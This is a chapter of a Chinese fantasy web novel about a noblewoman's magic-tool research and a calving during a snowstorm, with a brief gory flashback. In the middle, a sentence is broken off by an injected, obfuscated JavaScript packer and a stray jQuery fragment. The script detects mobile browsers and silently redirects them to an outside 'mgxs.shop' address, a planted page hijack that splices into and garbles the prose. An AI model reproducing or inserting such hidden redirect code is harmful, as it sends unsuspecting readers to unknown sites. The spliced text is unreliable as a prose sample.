她摇晃着铃铛,呼唤露易丝前来。露易丝很快就来了,慌慌张张,神色不安,一看就是在害怕什么。
“小姐……”她喘了口气,“您找我?”
“露易丝,我的那些工具在什么时候表现得最好?”琳妮丝对她跟萝丝的关系没有兴趣,直接问道。
“啊,呃……晚上?”
“那是个疑问句吗?你用疑问句回答我的问题?”
“呃……晚上。还有每天早上。”
“所以具体的时间是否是我在城堡里的时间呢?”
“啊……哦!是的,小姐。确实如此。”
“我明白了。”琳妮丝点了点头,“我没有其他问题了,你可以去做你想做的事情了。”
“呃……小姐?”
“嗯?”
“事实上我刚刚才知道您的父母托女仆们给您带一句话——社交季来了。”
琳妮丝:“……”
她扭头看向窗外,能看到的只有白色,白色,还有白色,雪还在下,风在呼号,天空阴沉得仿佛太阳永远都不会再次升起。然后她转过头来,看向露易丝,用眼神询问她:“真的吗?我们要在这种天气请客人来吗?”
“这是您父母的意思。施工队还着重装修了宴会厅。很漂亮,非常漂亮。”
原来如此,她就说怎么先装修宴会厅。
“不。”琳妮丝拒绝了,“难道装修了宴会厅我就一定要用起来吗?我买了新娃娃都还没来得及玩呢!就让它们摆在那儿吧,毕竟我的父亲总是说……”她让声音变得粗犷,“奢侈,是贵族的特权,贵族的职责在于浪费。我现在要用这个特权。我要……浪费它们。”
“好的,小姐。一切听您吩咐。”
她离开了。而琳妮丝抓起摊开的笔记本,开始将自己的分析写下来。
她写得飞快,笔几乎要成为残影:“真是奇怪,我来到这里是为了排除其他人的魔力影响,但现在看来正是因为之前的环境当中存在多种魔力才让我的工具显得更加好用,为什么?这其中还涉及到了距离的问题。目前看来这是最关键的问题。当我离工具很近的时候,它们便会行动得更加自如……”
写到这里,她就又想到了什么似的,接着写了下去:“问题应该出在对魔力十分敏感的咒语上,当我距离它们十分近时,周围环境当中的魔力浓度变高,所以运行起来更加流畅,当我不在周围的时候,魔力浓度降低,无法支撑矩阵运转,故而出现混乱……”
那铲子跟锄头为什么能用?剪刀就不行?对了,她在锄头跟铲子里面加了土地亲和……所以说是增强了工具对自然界当中存在的游离魔力的感知吗?唔,这确实说得过去。她能够开展自动化的研究也是因为发现这类咒语能够在一定程度上达到她的目的。是啦,如果连一点点让人去实践的有用的基础都没有,那干嘛还要做研究呢?难不成只靠空想吗?
好了,好了,猜想到此接触,亲爱的。必须要做点实验,拿出数据来说话。好啦!开始做实验吧!
琳妮丝按了按自己狂跳不已的太阳穴,将咒语的最新版本找了出来,草草地设置了几个对照组,很快就使自己的猜测得到了验证。她记下实验数据,继续思考。
通过依赖环境当中存在的魔力来减少工具运行时人的参与是个不错的应对方案。但环境当中的魔力是不可能满足所有工具的需求的,这就是为什么工具目前还存在很多缺陷。啧,讨厌。她需要一个额外的魔力源。用一个魔力源,然后……嗯……就是把魔力源利用起来,然后保证人不在的时候工具可以自动运行。对,就是这样。
最终,她又写下一个问题。
“谁来做魔力源?”
谁?一定不能是另一个法师,不,她需要一个天然的魔力源——世界上有这种东西吗?
她的头又开始痛了。
她需要一个东西,一个能替代法师本人的东西。
——魔力源。
琳妮丝强撑着最后一次拿起笔,给应有尽有写信:“我需要能被称为魔力源的东西,就是蕴含着很多魔力的材料,大量的魔力。请把你们认为的接近或者可能是的东西都寄过来。”
她放下笔,再次看向窗外。
风更加地大了,它吹起地上的积雪,又裹挟着从天空飘落的巴掌大的雪片,贪婪地吞噬着那为数不多的光线——天黑了,好像现在正是深夜。
“天啊。”琳妮丝感到自己的太阳穴正在突突直跳,并且伴随着剧痛,“……糟透了。”
她可能得等明年雪化时才能得到自己想要的东西了。
……
大约下午,身上沾满雪,快要成为一个大雪人的阿奇尔才把艾米和亚尼克扛了回来。两个人类冻得瑟瑟发抖,在壁炉旁裹着毛毯坐到深夜,又连喝几大杯薄荷茶才缓过神来。阿奇尔倒是精神抖擞,身上穿的衣服也比其他两人要少。他找到正在图书馆看书的琳妮丝,神色严峻地跟她说了暴风雪的事情。
“这可能要持续好几天。”他说。
“这显而易见。”琳妮丝沉浸在冒险故事当中,“这不是很好吗?你们可以休息。”
“但是,小姐,您的牛要生产了。”阿奇尔严肃地说,“牛生产的时候我们最好在旁边,说不定牛妈妈会需要我们的帮助。”
“噢。”琳妮丝慢慢地把书合上,意识到现在就想着休息还太早了些,“……它们要生产了吗?”
“我认为很快。”阿奇尔保持着严肃的神情,说道。
琳妮丝想起它们的预产期确实是在最近。紧接着,她想起艾米的有关于新手农场主应该买顺利生育过的牛的言论,以及她曾帮忙接生难产小猪的亲身经历,不由得慌张起来——如果它也难产呢?如果它的□□也发炎呢?如果……如果……现在天很冷,如果小牛刚一降生就死掉呢!天啊,她要做的事情居然还有这么多啊!
她立刻跳起来,开始慌慌张张地寻找能用得上的东西。她想小牛会需要毛毯,牛妈妈也需要清洁用的毛巾,说不定它们还需要清水。她准备了许多
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17602472|204218||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
自己认为会用得上的东西,包括一个破旧的布娃娃和一个挂在墙上的护身符。但这些都被艾米否决了。她说他们只需要一盆水。而且这盆水是给小牛准备的。
“……当小牛生出来的时候,我们可能需要往它身上泼水。”她哆哆嗦嗦地解释道,“这就好像……你被人泼了一下,然后你用力吸了一口气……就像这样。这是帮助小牛呼吸的。因为有些时候它们的脐带在头还没出来的时候就断裂了,所以当它们呼吸的时候它们吸到的不是空气而是羊水,这样它们的肺部就被羊水填满了,无法呼吸新鲜空气,很有可能会死掉。如果这个时候给它泼一盆水,让它能吸一口气,它能活下来的可能性会大很多。”
“但是,”琳妮丝用大拇指指向外面,“在现在这种天气吗!?它可能会感染肺炎——牛有肺炎吗?肺结核?”
“会有。”阿奇尔说,“我看的书……”
“它们会生病,而这种天气兽医是过不来的!”琳妮丝大叫道,“它们会死。”
“小姐,这是必要的步骤。或者你能吓它们一大跳。”艾米虚弱地说,“顺便一提,我跟亚尼克可没法在这种天气出门。”
所以,能帮牛接生的只有她跟阿奇尔。
琳妮丝扭头看着阿奇尔,心里感到害怕。
这不是说她不信任阿奇尔,不,当然不。看看他为母猪接生的那次就知道了,这位兽人绝对精通此道,但……
胎儿。
未成形的胎儿,外面裹着一层薄膜。
刚出生的,但是因为各种各样的原因死掉的胎儿。
那头被扯断腿的小猪……
琳妮丝感到惊慌。
她不由自主地握紧了手杖,被切割的宝石棱角让她的手心感到疼痛。这让她稍稍镇定了一些。然后她胡乱地点了点头,表示自己知道了。
“好吧,我们去接生。”她这样说道。
她大踏步地走出去,转弯,再右转,开门,关门,盯着自己的娃娃屋和上一次玩过,没有被放好的娃娃们看。
胎儿。
未成形的,被撕裂的胎儿。
玛丽……残忍的玛丽……
刹那间琳妮丝好像又回到了那一天。她闻到浓厚的血腥味,脚下是柔软的组织,石室的地板上堆积了厚厚的污垢,让这里更加地肮脏,也更加地……
玛丽举起手,她的手干枯,松弛的皮和堆叠起来的皱纹像是树干中的年轮,显示着其主人的年迈,她的长袍已经干硬,吸饱了血液以及灰白色的组织。她在笑。
禁忌之术……
“我已达到终极!!”她尖锐地大笑,“看啊,世界终要向野蛮低头!!”
恍惚之中,她听到有人说:“魔法必须摒弃年代的残渣,拥抱文明,走向现代。时间不会倒流,命运也不会折返,世界在前进,我们也必须前行。”
“我在此宣布,《魔法律令》于今日生效。凡行于道路者,必遵守规则!”
大贤者劳森。
有人在拍门。